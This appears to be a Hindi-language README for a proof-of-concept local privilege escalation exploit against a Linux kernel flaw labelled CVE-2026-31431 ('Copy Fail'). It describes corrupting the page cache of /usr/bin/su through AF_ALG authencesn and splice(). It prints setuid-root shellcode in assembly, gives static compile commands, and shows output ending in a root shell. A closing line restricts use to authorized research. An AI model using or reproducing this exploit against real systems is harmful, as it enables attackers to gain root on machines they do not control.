
CVE-2026-31431 (कॉपी फेल) PoC - authencesn AF_ALG + splice() के माध्यम से Linux कर्नेल पेज कैश भ्रष्टाचार
CVE-2026-31431 (Copy Fail) के लिए स्थानीय विशेषाधिकार वृद्धि एक्सप्लॉइट, C में लिखा गया।
PT_LOAD प्रोग्राम हेडर के माध्यम से /usr/bin/su के एंट्री पॉइंट वर्चुअल एड्रेस को फ़ाइल ऑफसेट में हल करता हैauthencesn(hmac(sha256),cbc(aes)) से बाइंड करता हैsendmsg() शेलकोड बाइट्स को seqno_lo (बाइट्स 4-7) के रूप में AAD भेजता है, MSG_MORE के साथsplice() लक्ष्य फ़ाइल के पेज कैश पेजों के 32 बाइट्स को AEAD प्रमाणीकरण टैग के रूप में वितरित करता हैrecv() डिक्रिप्शन ट्रिगर करता है, authencesn की स्क्रैच राइट चेन किए गए पेज कैश पेजों में पहुँचती है, 4 नियंत्रित बाइट्स लिखती है।execl("/usr/bin/su") दूषित पेज कैश लोड करता है। 40-बाइट शेलकोड (setuid(0) + execve("/bin/sh")) setuid-root के रूप में चलता हैxor edi, edi ; uid = 0
mov eax, 105 ; sys_setuid
syscall
xor edx, edx ; envp = NULL
push rdx ; null terminator
movabs rax, "/bin/sh" ; "/bin/sh\0"
push rax
mov rdi, rsp ; filename
push rdx ; NULL (argv[1])
push rdi ; argv[0]
mov rsi, rsp ; argv
mov eax, 59 ; sys_execve
syscall
musl-gcc या स्टैटिक लिंकिंग समर्थन वाला कोई भी C कंपाइलर आवश्यक है:
musl-gcc -static -O2 -s -o copyfail exploit.c
वैकल्पिक रूप से GCC + glibc के साथ:
gcc -static -O2 -s -o copyfail exploit.c
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)
यह प्रूफ-ऑफ-कॉन्सेप्ट केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। उन सिस्टमों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है।